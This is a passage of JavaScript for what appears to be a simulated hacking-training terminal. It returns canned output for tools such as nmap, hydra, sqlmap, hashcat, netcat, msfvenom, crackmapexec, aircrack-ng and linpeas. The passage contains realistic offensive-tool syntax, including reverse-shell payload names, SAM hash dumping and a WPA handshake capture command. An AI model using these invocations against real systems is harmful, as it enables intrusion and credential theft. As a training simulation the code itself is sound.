du:()=>[{t:'4.0K\t./Desktop',c:''},{t:'842K\t./Documents',c:''},{t:'15M\t./Downloads',c:''}],
free:()=>[{t:' total used free',c:'cyan'},{t:'Mem: 8161788 2114320 3882156',c:''},{t:'Swap: 2097148 0 2097148',c:''}],
top:()=>cmds.ps(),
which:(a)=>a[0]?[{t:`/usr/bin/${a[0]}`,c:''}]:[],
env:()=>[{t:'SHELL=/bin/bash',c:''},{t:'USER=root',c:''},{t:'HOME=/root',c:''},{t:'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin',c:''}],
ping:(a)=>{ const t=a[0]||'192.168.1.1'; return [{t:`PING ${t} 56(84) bytes of data.`,c:''},{t:`64 bytes from ${t}: icmp_seq=1 ttl=64 time=0.38 ms`,c:'green'},{t:`64 bytes from ${t}: icmp_seq=2 ttl=64 time=0.41 ms`,c:'green'},{t:`--- ${t} ping statistics ---`,c:'dim'},{t:'2 packets transmitted, 2 received, 0% packet loss',c:'dim'}]; },
curl:(a)=>[{t:`<!DOCTYPE html><html><!-- response from ${a[0]||'target'} (simulated) --></html>`,c:'dim'}],
wget:(a)=>[{t:`Saving to: '${(a[0]||'index.html').split('/').pop()}'`,c:''},{t:'100%[======================>] simulated',c:'green'}],
ssh:(a)=>[{t:`ssh: connecting to ${a[0]||'target'}...`,c:'dim'},{t:'Permission denied (publickey,password).',c:'red'}],
dig:(a)=>[{t:`;; ANSWER SECTION:`,c:'cyan'},{t:`${a[0]||'target'}. 300 IN A 192.168.1.55`,c:''}],
whois:(a)=>[{t:`Domain Name: ${a[0]||'target'}`,c:''},{t:'Registrar: (simulated data)',c:'dim'}],
base64:(a)=>[{t:'U2ltdWxhdGVkIG91dHB1dA==',c:''}],
md5sum:(a)=>[{t:`5f4dcc3b5aa765d61d8327deb882cf99 ${a[0]||''}`,c:''}],
sha256sum:(a)=>[{t:`9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08 ${a[0]||''}`,c:''}],
file:(a)=>[{t:`${a[0]||''}: ASCII text`,c:''}],
diff:(a)=>[{t:'(files identical — simulated)',c:'dim'}],
sort:(a)=>cmds.cat(a).sort((x,y)=>x.t.localeCompare(y.t)),
uniq:(a)=>cmds.cat(a),
kill:(a)=>[{t:`Terminated process ${a[0]||''}`,c:'yellow'}],
su:(a)=>[{t:'su: already root',c:'dim'}],
sudo:(a)=>cmds[a[0]]?cmds[a[0]](a.slice(1)):[{t:`sudo: ${a[0]||''}: command not found`,c:'red'}],
apt:(a)=>a[0]==='update'?[{t:'Reading package lists... Done',c:'dim'},{t:'All packages are up to date.',c:'green'}]:[{t:`Reading package lists... Done`,c:'dim'}],
systemctl:(a)=>[{t:`● ${a[1]||'ssh'}.service - active (running)`,c:'green'}],
ip:(a)=>a[0]==='a'?cmds.ifconfig():[{t:'Usage: ip a',c:'red'}],
history:()=>cmdHist.map((h,i)=>({t:` ${String(i+1).padStart(3)} ${h}`,c:''})),
ifconfig:()=>[
{t:'eth0: flags=4163<UP,BROADCAST,RUNNING> mtu 1500',c:'yellow'},
{t:' inet 192.168.1.42 netmask 255.255.255.0 broadcast 192.168.1.255',c:''},
{t:' ether 08:00:27:4e:66:a1 txqueuelen 1000',c:''},
{t:' RX packets 12543 bytes 9.3 MiB TX packets 8921 bytes 1.1 MiB',c:''},{t:'',c:''},
{t:'lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536',c:'yellow'},
{t:' inet 127.0.0.1 netmask 255.0.0.0',c:''},
],
netstat:()=>[
{t:'Proto Recv-Q Send-Q Local Address State',c:'cyan'},
{t:'tcp 0 0 0.0.0.0:22 LISTEN',c:''},
{t:'tcp 0 0 0.0.0.0:80 LISTEN',c:''},
{t:'tcp6 0 0 :::443 LISTEN',c:''},
],
ps:()=>[
{t:' PID TTY TIME CMD',c:'cyan'},
{t:' 1234 pts/0 00:00:00 bash',c:''},{t:' 2048 pts/0 00:00:01 python3',c:''},{t:' 4096 pts/0 00:00:00 ps',c:''},
],
w:()=>[
{t:'USER TTY FROM LOGIN@ WHAT',c:'cyan'},
{t:'root pts/0 192.168.1.10 08:00 bash',c:''},
],
nmap:(a)=>{
const tgt=a.find(x=>!x.startsWith('-'))||'192.168.1.1';
const agg=a.includes('-A'), sv=a.includes('-sV')||agg, sc=a.includes('-sC')||agg, os=a.includes('-O')||agg;
const allPorts=[
{p:21,svc:'ftp',ver:'vsftpd 3.0.3'},
{p:22,svc:'ssh',ver:'OpenSSH 8.9p1 Ubuntu'},
{p:80,svc:'http',ver:'Apache httpd 2.4.54'},
{p:139,svc:'netbios-ssn',ver:'Samba smbd 4.6.2'},
{p:443,svc:'https',ver:'Apache httpd 2.4.54'},
{p:445,svc:'microsoft-ds',ver:'Samba smbd 4.6.2'},
{p:3306,svc:'mysql',ver:'',filtered:true},
{p:8080,svc:'http-proxy',ver:'Squid 5.7'},
];
const pFlag=a.find(x=>/^-p\S+$/.test(x));
const pSep=a.indexOf('-p');
const portSpec = pFlag ? pFlag.slice(2) : (pSep>=0 ? a[pSep+1] : null);
const inSpec=(spec,port)=>spec.split(',').some(part=>{
if(part==='-') return true;
if(part.includes('-')){ const [s,e]=part.split('-').map(Number); return port>=s&&port<=e; }
return Number(part)===port;
});
const ports = portSpec ? allPorts.filter(x=>inSpec(portSpec,x.p)) : allPorts;
const r=[
{t:`Starting Nmap 7.94 at ${new Date().toLocaleString()}`,c:'dim'},
{t:`Nmap scan report for ${tgt}`,c:'yellow'},{t:'Host is up (0.00043s latency).',c:''},{t:'',c:''},
];
if(ports.length){
r.push({t:'PORT STATE SERVICE VERSION',c:'cyan'});
ports.forEach(x=>r.push({t:`${(x.p+'/tcp').padEnd(10)}${(x.filtered?'filtered':'open').padEnd(9)}${x.svc.padEnd(13)}${x.ver}`,c:x.filtered?'yellow':'green'}));
} else {
r.push({t:`Not shown: ${portSpec?'1 closed port':'992 closed ports'}`,c:'dim'});
}
if(sc && ports.find(x=>x.p===445)) r.push({t:'',c:''},{t:'| smb-vuln-ms17-010: VULNERABLE',c:'red'},{t:'| CVE: CVE-2017-0143 Risk: HIGH',c:'red'});
if(os) r.push({t:'',c:''},{t:'OS guess: Linux 5.x (95%), Ubuntu 20.04 (91%)',c:''});
r.push({t:'',c:''},{t:`Nmap done: 1 IP (1 host up) scanned in ${(Math.random()*4+1).toFixed(2)}s`,c:'dim'});
return r;
},
john:(a)=>{
if(!a.length) return [
{t:'John the Ripper 1.9.0-jumbo-1',c:'yellow'},
{t:'Usage: john <hashfile> [--wordlist=FILE] [--format=TYPE]',c:''},
{t:'Formats: md5 sha1 sha256 ntlm bcrypt',c:'dim'},
];
const wl=(a.find(x=>x.startsWith('--wordlist='))||'--wordlist=rockyou.txt').split('=')[1];
const fmt=(a.find(x=>x.startsWith('--format='))||'--format=MD5').split('=')[1].toUpperCase();
return [
{t:`Loaded 4 password hashes (${fmt})`,c:''},
{t:`Using wordlist: ${wl}`,c:''},{t:'',c:''},
{t:'password123 (admin)',c:'green'},
{t:'toor (root)',c:'green'},
{t:'letmein (user)',c:'green'},
{t:'abc123 (guest)',c:'green'},{t:'',c:''},
{t:`4g 0:00:00:03 DONE — Session completed.`,c:'yellow'},
];
},
hydra:(a)=>{
if(!a.length) return [
{t:'Hydra v9.4 — Syntax: hydra -l LOGIN -P PASSLIST TARGET SERVICE',c:'yellow'},
{t:'Services: ssh ftp smb rdp telnet mysql http-post-form',c:'dim'},
];
const li=a.indexOf('-l'); const user=li>=0?a[li+1]:'admin';
const pi=a.indexOf('-P'); const pf=pi>=0?a[pi+1]:'wordlist.txt';
const tgt=a.find((x,i)=>!x.startsWith('-')&&i!==li+1&&i!==pi+1)||'192.168.1.50';
const svc=a[a.length-1]||'ssh';
return [
{t:`Hydra v9.4 attacking ${svc}://${tgt}`,c:'yellow'},
{t:'[DATA] max 16 tasks, attacking with login/password list',c:'dim'},
{t:'[STATUS] 2024 tries/min, attack in progress...',c:'dim'},
{t:`[22][${svc}] host: ${tgt} login: ${user} password: password123`,c:'green'},
{t:'1 of 1 target completed, 1 valid password found',c:'green'},
{t:`Hydra finished at ${new Date().toLocaleString()}`,c:'dim'},
];
},
sqlmap:(a)=>{
if(!a.length) return [
{t:' ___ ___[.]_____ ___ ___ {1.7.12#stable}',c:'red'},
{t:'|___|_ [.]_|_|_|__,| _| https://sqlmap.org',c:'red'},{t:'',c:''},
{t:'Usage: sqlmap -u URL [--dbs] [-D db --tables] [--dump]',c:''},
];
const ui=a.indexOf('-u'); const url=ui>=0?a[ui+1]:'http://target/page?id=1';
const doDbs=a.includes('--dbs'), doTbl=a.includes('--tables'), doDump=a.includes('--dump');
const dbi=a.indexOf('-D'); const db=dbi>=0?a[dbi+1]:'webapp';
const r=[
{t:' ___ ___[.]_____ ___ ___ {1.7.12#stable}',c:'red'},{t:'',c:''},
{t:`[*] Testing: ${url}`,c:'dim'},
{t:"[+] Parameter 'id' is injectable (MySQL)",c:'green'},
{t:'[+] Back-end DBMS: MySQL >= 5.0.12',c:'yellow'},
];
if(doDbs) r.push({t:'',c:''},{t:'Available databases:',c:'cyan'},{t:' [*] information_schema',c:''},{t:' [*] mysql',c:''},{t:' [*] webapp',c:'green'});
if(doTbl) r.push({t:'',c:''},{t:`Tables in '${db}':`,c:'cyan'},{t:' | users |',c:'green'},{t:' | sessions |',c:''},{t:' | orders |',c:''});
if(doDump) r.push(
{t:'',c:''},{t:'Database: '+db+' Table: users',c:'cyan'},
{t:'+----+----------+----------------------------------+',c:'dim'},
{t:'| id | username | password_hash |',c:'cyan'},
{t:'+----+----------+----------------------------------+',c:'dim'},
{t:'| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |',c:'green'},
{t:'| 2 | root | f28e6d4b62f5f0a0d0b7e4e4a4038e16 |',c:'green'},
{t:'+----+----------+----------------------------------+',c:'dim'},
);
r.push({t:`[*] Done @ ${new Date().toLocaleString()}`,c:'dim'});
return r;
},
gobuster:(a)=>{
if(!a.length) return [
{t:'Gobuster v3.6 — directory/file/DNS brute-forcer',c:'yellow'},
{t:'Usage: gobuster dir -u URL -w WORDLIST [-x EXTENSIONS]',c:''},
{t:' gobuster dns -d DOMAIN -w WORDLIST',c:''},
{t:' -u target URL',c:'dim'},{t:' -w wordlist path',c:'dim'},
{t:' -x file extensions (php,html,txt)',c:'dim'},{t:' -t threads (default 10)',c:'dim'},
];
const ui=a.indexOf('-u'); const url=ui>=0?a[ui+1]:'http://target.local';
const wi=a.indexOf('-w'); const wl=wi>=0?a[wi+1]:'common.txt';
const xi=a.indexOf('-x'); const ext=xi>=0?a[xi+1]:'php,html';
const mode=a[0]||'dir';
return [
{t:`Gobuster v3.6 — Mode: ${mode}`,c:'yellow'},
{t:`Target: ${url} Wordlist: ${wl}`,c:'dim'},{t:'',c:''},
{t:'===============================================================',c:'dim'},
{t:`Starting gobuster in ${mode.toUpperCase()} enumeration mode`,c:''},
{t:'===============================================================',c:'dim'},
{t:'/admin (Status: 301) [Size: 312] [--> /admin/]',c:'green'},
{t:'/backup (Status: 200) [Size: 1024]',c:'green'},
{t:'/config.php (Status: 200) [Size: 89]',c:'green'},
{t:'/login (Status: 200) [Size: 2341]',c:'green'},
{t:'/uploads (Status: 301) [Size: 315] [--> /uploads/]',c:'green'},
{t:'/robots.txt (Status: 200) [Size: 45]',c:'cyan'},
{t:'/.git (Status: 403) [Size: 278]',c:'yellow'},
{t:'/wp-admin (Status: 301) [Size: 316]',c:'green'},
{t:'/phpmyadmin (Status: 200) [Size: 10531]',c:'red'},
{t:'',c:''},{t:'===============================================================',c:'dim'},
{t:`Finished — 9 findings in ${(Math.random()*8+2).toFixed(2)}s`,c:'dim'},
];
},
nikto:(a)=>{
if(!a.length) return [
{t:'Nikto v2.1.6 — web server scanner',c:'yellow'},
{t:'Usage: nikto -h TARGET [-p PORT] [-ssl]',c:''},
{t:' -h target host/URL',c:'dim'},{t:' -p port (default 80)',c:'dim'},
{t:' -ssl use SSL/HTTPS',c:'dim'},
];
const hi=a.indexOf('-h'); const host=hi>=0?a[hi+1]:'192.168.1.1';
const pi=a.indexOf('-p'); const port=pi>=0?a[pi+1]:'80';
return [
{t:`- Nikto v2.1.6 / Target: ${host}:${port}`,c:'yellow'},
{t:`- Start Time: ${new Date().toLocaleString()}`,c:'dim'},{t:'',c:''},
{t:`+ Server: Apache/2.4.54 (Ubuntu)`,c:'green'},
{t:'+ /: The anti-clickjacking X-Frame-Options header is not present.',c:'yellow'},
{t:'+ /: The X-Content-Type-Options header is not set.',c:'yellow'},
{t:'+ /robots.txt: contains 3 entries which should be manually reviewed.',c:'cyan'},
{t:'+ Apache/2.4.54 appears to be outdated (current: 2.4.58)',c:'yellow'},
{t:'+ /config.php: PHP Config file may contain database passwords.',c:'red'},
{t:'+ /admin/: Admin login page found.',c:'red'},
{t:'+ /phpmyadmin/: phpMyAdmin directory found (CVE-2007-5797)',c:'red'},
{t:'+ /backup/: Backup directory found — may contain sensitive data.',c:'red'},
{t:'+ OSVDB-3233: /icons/README: Apache default file found.',c:'yellow'},
{t:'+ OSVDB-630: IIS may reveal its internal IP when an HTTP request with Host: 1 is sent.',c:'yellow'},
{t:'',c:''},{t:`+ 8 issues found in ${(Math.random()*60+20).toFixed(0)}s`,c:'dim'},
];
},
hashcat:(a)=>{
if(!a.length) return [
{t:'hashcat v6.2.6 — advanced password recovery',c:'yellow'},
{t:'Usage: hashcat -m MODE -a ATTACK hashfile wordlist',c:''},
{t:' Common modes: 0=MD5 100=SHA1 1000=NTLM 1800=sha512crypt',c:'dim'},
{t:' Attack types: 0=dictionary 3=brute-force 6=hybrid',c:'dim'},
];
const mi=a.indexOf('-m'); const mode=mi>=0?a[mi+1]:'0';
const ai=a.indexOf('-a'); const atk=ai>=0?a[ai+1]:'0';
const modeNames={0:'MD5',100:'SHA1',1000:'NTLM',1800:'sha512crypt',3200:'bcrypt'};
const modeName=modeNames[mode]||`mode-${mode}`;
return [
{t:'hashcat v6.2.6 starting...',c:'yellow'},{t:'',c:''},
{t:`Hash-Mode: ${mode} (${modeName}) Attack-Mode: ${atk} (${atk==='3'?'Brute-force':'Dictionary'})`,c:''},
{t:'Device #1: NVIDIA RTX 4090, 24268/24576 MB, 128MCU',c:'dim'},
{t:'',c:''},
{t:'5f4dcc3b5aa765d61d8327deb882cf99:password123',c:'green'},
{t:'f28e6d4b62f5f0a0d0b7e4e4a4038e16:toor',c:'green'},
{t:'0d107d09f5bbe40cade3de5c71e9e9b7:letmein',c:'green'},
{t:'aab3238922bcc25a6f606eb525ffdc56:1234',c:'green'},
{t:'',c:''},
{t:`Session..........: hashcat`,c:'dim'},
{t:`Status...........: Cracked`,c:'green'},
{t:`Hash.Mode........: ${mode} (${modeName})`,c:''},
{t:`Recovered........: 4/4 (100.00%) digests`,c:'green'},
{t:`Speed.#1.........: 14823.4 MH/s`,c:''},
{t:`Time.Estimated...: ${new Date().toLocaleString()}`,c:'dim'},
];
},
nc:(a)=>{
if(!a.length) return [
{t:'Netcat (nc) — network utility',c:'yellow'},
{t:'Usage: nc [OPTIONS] HOST PORT',c:''},
{t:' -l listen mode',c:'dim'},{t:' -v verbose',c:'dim'},
{t:' -n no DNS resolution',c:'dim'},{t:' -e FILE execute on connect',c:'dim'},
{t:' -z port scan mode',c:'dim'},
];
const listen=a.includes('-l');
const zScan=a.includes('-z');
const host=a.find(x=>!x.startsWith('-'))||'192.168.1.1';
const port=a.filter(x=>!x.startsWith('-')).slice(-1)[0]||'4444';
if(listen) return [
{t:`Listening on 0.0.0.0 ${port}`,c:'yellow'},
{t:`Connection received on ${host} ${Math.floor(Math.random()*10000+40000)}`,c:'green'},
{t:'',c:''},{t:'id',c:'dim'},
{t:'uid=0(root) gid=0(root) groups=0(root)',c:'green'},
{t:'whoami',c:'dim'},{t:'root',c:'green'},
];
if(zScan) return [
{t:`Scanning ${host} for open ports...`,c:'dim'},
{t:`${host} 22 (ssh) open`,c:'green'},
{t:`${host} 80 (http) open`,c:'green'},
{t:`${host} 443 (https) open`,c:'green'},
{t:`${host} 3306 (mysql) open`,c:'green'},
];
return [
{t:`${host} [${host}] ${port} (?) open`,c:'green'},
{t:'',c:''},{t:'(connection established — type to interact)',c:'dim'},
];
},
netcat:(a)=>cmds.nc(a),
enum4linux:(a)=>{
const tgt=a.find(x=>!x.startsWith('-'))||'192.168.1.1';
return [
{t:`Starting enum4linux v0.9.1 against ${tgt}`,c:'yellow'},{t:'',c:''},
{t:'========================( Target Info )========================',c:'cyan'},
{t:`Target ............ ${tgt}`,c:''},{t:'RID Range ......... 500-550,1000-1050',c:''},
{t:'Username .......... ""',c:''},{t:'Password .......... ""',c:''},{t:'',c:''},
{t:'===================( Workgroup/Domain )===================',c:'cyan'},
{t:`[+] Got domain/workgroup name: WORKGROUP`,c:'green'},{t:'',c:''},
{t:'===================( OS Info )===================',c:'cyan'},
{t:'[+] Got OS info for via smbclient: Windows 7 SP1 (build 7601)',c:'green'},{t:'',c:''},
{t:'===================( Users )===================',c:'cyan'},
{t:`[+] Enumerating users using SID S-1-22-1`,c:'green'},
{t:'S-1-22-1-1000 Unix User\\admin (Local User)',c:''},
{t:'S-1-22-1-1001 Unix User\\root (Local User)',c:''},
{t:'S-1-22-1-1002 Unix User\\user (Local User)',c:''},{t:'',c:''},
{t:'===================( Share Enum )===================',c:'cyan'},
{t:'[+] Found shares:',c:'green'},
{t:' Sharename Type Comment',c:''},
{t:' ADMIN$ Disk Remote Admin',c:'yellow'},
{t:' C$ Disk Default share',c:'yellow'},
{t:' IPC$ IPC Remote IPC',c:''},
{t:' backup Disk Backup share',c:'green'},
{t:'',c:''},{t:`enum4linux complete — ${new Date().toLocaleString()}`,c:'dim'},
];
},
dirb:(a)=>{
if(!a.length) return [
{t:'DIRB v2.22 — web content scanner',c:'yellow'},
{t:'Usage: dirb URL [WORDLIST] [-a AGENT] [-o OUTPUT]',c:''},
];
const url=a[0]||'http://target.local';
const wl=a[1]||'/usr/share/dirb/wordlists/common.txt';
return [
{t:'-----------------',c:'dim'},
{t:`DIRB v2.22 By The Dark Raver`,c:'yellow'},
{t:'-----------------',c:'dim'},
{t:`START_TIME: ${new Date().toLocaleString()}`,c:'dim'},
{t:`URL_BASE: ${url}/`,c:''},{t:`WORDLIST_FILE: ${wl}`,c:''},{t:'',c:''},
{t:'-----------------',c:'dim'},
{t:'GENERATED WORDS: 4612',c:'dim'},{t:'',c:''},
{t:'---- Scanning URL: '+url+'/ ----',c:'cyan'},
{t:`==> DIRECTORY: ${url}/admin/`,c:'green'},
{t:`==> DIRECTORY: ${url}/backup/`,c:'green'},
{t:`+ ${url}/index.php (CODE:200|SIZE:2048)`,c:'green'},
{t:`+ ${url}/login.php (CODE:200|SIZE:1337)`,c:'green'},
{t:`+ ${url}/robots.txt (CODE:200|SIZE:45)`,c:'cyan'},
{t:`+ ${url}/server-status (CODE:403|SIZE:278)`,c:'yellow'},
{t:'',c:''},
{t:'-----------------',c:'dim'},
{t:`END_TIME: ${new Date().toLocaleString()}`,c:'dim'},
{t:'DOWNLOADED: 4612 FOUND: 6',c:'dim'},
];
},
wpscan:(a)=>{
if(!a.length) return [
{t:'WPScan v3.8.25 — WordPress security scanner',c:'yellow'},
{t:'Usage: wpscan --url URL [--enumerate u,p,t]',c:''},
{t:' --enumerate u enumerate users',c:'dim'},
{t:' --enumerate p enumerate plugins',c:'dim'},
{t:' --enumerate t enumerate themes',c:'dim'},
{t:' --passwords FILE brute-force logins',c:'dim'},
];
const ui=a.indexOf('--url'); const url=ui>=0?a[ui+1]:'http://target.local';
const doEnum=a.includes('--enumerate');
return [
{t:'_______________________________________________________________',c:'dim'},
{t:' __ _______ _____ ',c:'red'},
{t:' \\ \\ / / __ \\ / ____| ',c:'red'},
{t:' \\ \\ /\\ / /| |__) | (___ ___ __ _ _ __ ',c:'red'},
{t:' \\ \\/ \\/ / | ___/ \\___ \\ / __|/ _` | \'_ \\ ',c:'red'},
{t:' \\ /\\ / | | ____) | (__| (_| | | | | ',c:'red'},
{t:' \\/ \\/ |_| |_____/ \\___|\\__,_|_| |_| ',c:'red'},
{t:'_______________________________________________________________',c:'dim'},
{t:`[+] URL: ${url}`,c:''},{t:`[+] Started: ${new Date().toLocaleString()}`,c:'dim'},{t:'',c:''},
{t:`[+] WordPress version 6.2.1 detected (Insecure, released 2023-05-20)`,c:'yellow'},
{t:'[+] WordPress theme in use: twentytwentyone',c:''},
{t:'[!] No WP-Cron disabling detected',c:'yellow'},
{t:'[+] XML-RPC seems to be enabled: '+url+'/xmlrpc.php',c:'yellow'},
{t:'[+] Upload directory has listing enabled: '+url+'/wp-content/uploads/',c:'red'},
...( doEnum ? [
{t:'',c:''},{t:'[+] Enumerating Users...',c:'cyan'},
{t:'[i] User(s) Identified:',c:''},
{t:' [+] admin (Roles: administrator)',c:'green'},
{t:' [+] editor (Roles: editor)',c:'green'},
{t:'',c:''},{t:'[+] Enumerating Plugins...',c:'cyan'},
{t:' [!] contact-form-7 v5.7.1 — 2 vulnerabilities found',c:'red'},
{t:' [!] woocommerce v7.4.0 — outdated',c:'yellow'},
] : []),
{t:'',c:''},{t:`[+] Finished: ${new Date().toLocaleString()}`,c:'dim'},
{t:'[+] Requests Done: 342 | Cached: 18 | Data Sent: 89 KB',c:'dim'},
];
},
aircrack:(a)=>{
if(!a.length) return [
{t:'Aircrack-ng 1.7 — WEP/WPA/WPA2 cracker',c:'yellow'},
{t:'Usage: aircrack-ng [options] <capture.cap>',c:''},
{t:' -w WORDLIST wordlist for WPA cracking',c:'dim'},
{t:' -b BSSID target AP MAC address',c:'dim'},
{t:' -e ESSID target network name',c:'dim'},
{t:'',c:''},
{t:'Tip: First capture handshake with airodump-ng:',c:'cyan'},
{t:' airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0',c:'dim'},
];
const wi=a.indexOf('-w'); const wl=wi>=0?a[wi+1]:'rockyou.txt';
const bi=a.indexOf('-b'); const bssid=bi>=0?a[bi+1]:'AA:BB:CC:DD:EE:FF';
const cap=a.find(x=>x.endsWith('.cap'))||'capture-01.cap';
return [
{t:`Opening ${cap}`,c:'dim'},
{t:'Read 4821 packets.',c:''},
{t:` # BSSID ESSID Encryption`,c:'cyan'},
{t:` 1 ${bssid} HomeNetwork WPA (1 handshake)`,c:'green'},
{t:'',c:''},
{t:`Choosing first network as target.`,c:'dim'},
{t:`Using wordlist: ${wl}`,c:''},{t:'',c:''},
{t:' Aircrack-ng 1.7',c:'yellow'},
{t:` [00:00:42] 14820 keys tested (352.41 k/s)`,c:''},
{t:'',c:''},
{t:' KEY FOUND! [ password123 ]',c:'green'},
{t:'',c:''},
{t:` Master Key : A1 B2 C3 D4 E5 F6 07 08 09 0A 0B 0C 0D 0E 0F 10`,c:'dim'},
{t:` Transient Key : 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF 00`,c:'dim'},
];
},
airodump:(a)=>{
return [
{t:'',c:''},
{t:' CH 6 ][ Elapsed: 30 s ][ 2024-01-15 14:23',c:'dim'},{t:'',c:''},
{t:' BSSID PWR Beacons #Data CH ENC ESSID',c:'cyan'},
{t:' AA:BB:CC:11:22:33 -42 87 203 6 WPA2 HomeNetwork',c:'green'},
{t:' DD:EE:FF:44:55:66 -67 54 12 1 WPA2 Neighbor_5G',c:''},
{t:' 00:11:22:33:44:55 -71 31 4 11 WEP OldRouter',c:'yellow'},
{t:' 66:77:88:99:AA:BB -88 12 0 6 OPN CoffeeShop',c:'red'},
{t:'',c:''},
{t:' BSSID STATION PWR Lost Frames ESSID',c:'cyan'},
{t:' AA:BB:CC:11:22:33 CC:DD:EE:FF:00:11 -55 0 124 HomeNetwork',c:'green'},
];
},
msfvenom:(a)=>{
if(!a.length) return [
{t:'MsfVenom v6.3.55 — payload generator & encoder',c:'yellow'},
{t:'Usage: msfvenom -p PAYLOAD [options] -f FORMAT -o FILE',c:''},
{t:' -p PAYLOAD payload to use',c:'dim'},
{t:' -f FORMAT output format (exe,elf,php,py,raw...)',c:'dim'},
{t:' -o FILE output file',c:'dim'},
{t:' LHOST=IP listener IP',c:'dim'},
{t:' LPORT=PORT listener port',c:'dim'},
{t:'',c:''},
{t:'Common payloads:',c:'cyan'},
{t:' windows/x64/meterpreter/reverse_tcp',c:''},
{t:' linux/x86/meterpreter/reverse_tcp',c:''},
{t:' php/meterpreter/reverse_tcp',c:''},
];
const pi=a.indexOf('-p'); const payload=pi>=0?a[pi+1]:'windows/x64/meterpreter/reverse_tcp';
const fi=a.indexOf('-f'); const fmt=fi>=0?a[fi+1]:'exe';
const oi=a.indexOf('-o'); const out=oi>=0?a[oi+1]:`shell.${fmt}`;
const lhost=a.find(x=>x.startsWith('LHOST='))?.split('=')[1]||'192.168.1.42';
const lport=a.find(x=>x.startsWith('LPORT='))?.split('=')[1]||'4444';
return [
{t:`[-] No platform was selected, choosing ${payload.includes('windows')?'Windows':'Linux'}`,c:'dim'},
{t:`[-] No arch selected, selecting arch: ${payload.includes('x64')?'x64':'x86'}`,c:'dim'},
{t:'No encoder specified, outputting raw payload',c:'dim'},
{t:`Payload size: ${Math.floor(Math.random()*200+400)} bytes`,c:''},
{t:`Final size of ${fmt} file: ${Math.floor(Math.random()*50000+70000)} bytes`,c:''},
{t:`Saved as: ${out}`,c:'green'},
{t:'',c:''},
{t:`[*] Payload: ${payload}`,c:'cyan'},
{t:`[*] LHOST: ${lhost} LPORT: ${lport}`,c:'cyan'},
];
},
crackmapexec:(a)=>{
if(!a.length) return [
{t:'CrackMapExec v5.4.0 — swiss army knife for pentesting',c:'yellow'},
{t:'Usage: crackmapexec <protocol> <target> [options]',c:''},
{t:' Protocols: smb, ssh, winrm, ftp, ldap, mssql',c:'dim'},
{t:' -u USERNAME username',c:'dim'},{t:' -p PASSWORD password',c:'dim'},
{t:' --shares enumerate shares',c:'dim'},{t:' --sam dump SAM hashes',c:'dim'},
];
const proto=a[0]||'smb'; const tgt=a[1]||'192.168.1.0/24';
const ui=a.indexOf('-u'); const user=ui>=0?a[ui+1]:'admin';
const pi=a.indexOf('-p'); const pass=pi>=0?a[pi+1]:'password123';
const doShares=a.includes('--shares'), doSam=a.includes('--sam');
const r=[
{t:`SMB 192.168.1.10 445 TARGET [*] Windows 7 SP1 x64 (name:TARGET) (domain:WORKGROUP)`,c:''},
{t:`SMB 192.168.1.10 445 TARGET [+] WORKGROUP\\${user}:${pass} (Pwn3d!)`,c:'green'},
{t:`SMB 192.168.1.20 445 DC01 [*] Windows Server 2019 (name:DC01) (domain:corp.local)`,c:''},
{t:`SMB 192.168.1.20 445 DC01 [+] corp.local\\${user}:${pass} (Pwn3d!)`,c:'green'},
];
if(doShares) r.push(
{t:'',c:''},{t:`SMB 192.168.1.10 445 TARGET [+] Enumerated shares`,c:'cyan'},
{t:`SMB 192.168.1.10 445 TARGET Share Permissions`,c:'yellow'},
{t:`SMB 192.168.1.10 445 TARGET ----- -----------`,c:'dim'},
{t:`SMB 192.168.1.10 445 TARGET ADMIN$ READ,WRITE`,c:'green'},
{t:`SMB 192.168.1.10 445 TARGET C$ READ,WRITE`,c:'green'},
{t:`SMB 192.168.1.10 445 TARGET backup READ`,c:'green'},
);
if(doSam) r.push(
{t:'',c:''},{t:`SMB 192.168.1.10 445 TARGET [+] Dumping SAM hashes`,c:'cyan'},
{t:`Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::`,c:'green'},
{t:`admin:1001:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::`,c:'green'},
);
return r;
},
linpeas:(a)=>[
{t:'',c:''},{t:' ╔═══════════════════════════════════════════╗',c:'yellow'},
{t:' ║ LinPEAS — Linux Privilege Escalation ║',c:'yellow'},
{t:' ╚═══════════════════════════════════════════╝',c:'yellow'},{t:'',c:''},
{t:'[+] Operative system',c:'cyan'},
{t:' Linux kali 6.6.9-amd64 Kali GNU/Linux',c:''},
{t:'',c:''},
{t:'[+] Sudo version',c:'cyan'},
{t:' Sudo version 1.9.13p3 (VULNERABLE: CVE-2023-22809)',c:'red'},
{t:'',c:''},
{t:'[+] SUID binaries',c:'cyan'},
{t:' -rwsr-xr-x root /usr/bin/python3.10',c:'red'},
{t:' -rwsr-xr-x root /usr/bin/find',c:'red'},
{t:' -rwsr-xr-x root /bin/bash',c:'red'},
{t:'',c:''},
{t:'[+] Interesting files in home directories',c:'cyan'},
{t:' /root/.ssh/id_rsa (private SSH key found!)',c:'red'},
{t:' /home/user/.bash_history (contains sudo commands)',c:'yellow'},